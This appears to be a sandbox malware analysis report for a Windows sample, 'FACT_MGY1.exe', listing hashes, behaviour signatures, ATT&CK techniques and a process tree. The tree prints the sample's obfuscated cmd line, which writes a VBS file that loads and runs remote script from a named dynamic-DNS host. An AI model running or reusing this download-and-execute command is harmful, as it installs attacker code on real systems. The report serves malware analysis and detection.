254a0dce7cfe5fb0d58821c965fa7e9a9ef9df0c4339a5d3689793c7343b4936

Resubmissions

30-03-2023 14:20

230330-rnhl9ada54 8

30-03-2023 13:20

230330-qk2qaacg74 8

24-03-2023 22:33

230324-2gz8tshg59 8

Analysis

max time kernel
1017s
max time network
1023s
platform
windows10-2004_x64
resource
win10v2004-20230220-es
resource tags

arch:x64arch:x86image:win10v2004-20230220-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
30-03-2023 14:20

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General

Target

FACT_MGY1.exe
Size

526KB
MD5

f90662a63fcd773144ef809e09930b3f
SHA1

5196017f8f8127398c4fd4a0424a0871f20b4c89
SHA256

011c6518502cc9aec7dca14a808b1afa546233d528bd2ebf6485296e3dbd2541
SHA512

4cc4c3551e61a5228623d69167abe27a511cce6188294b374e71069a3ac7ece0d077801cfce32a936d1583941b71ce3ec64e086d6eea3b9b98c5c18616a10364
SSDEEP

3072:lV/611KEEbL6ETLPWkddkaW9N73oxiZOhAnGVRfN2Zndp9fN+3:IrKxTbfdkpIHVRf4nBfN+3

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

WScript.exe

flow pid process

34 1780 WScript.exe
36 1780 WScript.exe
40 1780 WScript.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings cmd.exe

flow	pid	process
34	1780	WScript.exe
36	1780	WScript.exe
40	1780	WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	cmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

FACT_MGY1.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2932 wrote to memory of 1744	2932	FACT_MGY1.exe	cmd.exe
PID 2932 wrote to memory of 1744	2932	FACT_MGY1.exe	cmd.exe
PID 2932 wrote to memory of 1744	2932	FACT_MGY1.exe	cmd.exe
PID 1744 wrote to memory of 1964	1744	cmd.exe	cmd.exe
PID 1744 wrote to memory of 1964	1744	cmd.exe	cmd.exe
PID 1744 wrote to memory of 1964	1744	cmd.exe	cmd.exe
PID 1964 wrote to memory of 3112	1964	cmd.exe	cmd.exe
PID 1964 wrote to memory of 3112	1964	cmd.exe	cmd.exe
PID 1964 wrote to memory of 3112	1964	cmd.exe	cmd.exe
PID 3112 wrote to memory of 1780	3112	cmd.exe	WScript.exe
PID 3112 wrote to memory of 1780	3112	cmd.exe	WScript.exe
PID 3112 wrote to memory of 1780	3112	cmd.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\FACT_MGY1.exe
"C:\Users\Admin\AppData\Local\Temp\FACT_MGY1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c %ComSpec% /V/D/c "echo g53=".":ip5=":":h187="/":GetObject("scripT"+ip5+"https"+ip5+"//curti23"+g53+"hopto"+g53+"org/g1")>%Public%\\ta30.vBs&&%ComSpec% /c start %Public%\\ta30.vBs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /V/D/c "echo g53=".":ip5=":":h187="/":GetObject("scripT"+ip5+"https"+ip5+"//curti23"+g53+"hopto"+g53+"org/g1")>C:\Users\Public\\ta30.vBs&&C:\Windows\system32\cmd.exe /c start C:\Users\Public\\ta30.vBs"
3⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start C:\Users\Public\\ta30.vBs
4⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3112

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\ta30.vBs"
5⤵
- Blocklisted process makes network request
PID:1780

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\ta30.vBs
Filesize
99B

MD5
8f50a8481daef384086eb26f4ac87393

SHA1
81cdca33ef00915b7405973cd4eec8d3277ad2c7

SHA256
2a2886929768433030434a6c099a7f6ee24d3fd1feab8d6d8a715c436bd99c19

SHA512
32bcb7586fa076049c090817c8d8f762581d19dc6ba099b95d67394f03becb5fbfd5d41f72af81641ce17d33bd642fb3ee285544921807e6444cdd2f7d735bb4

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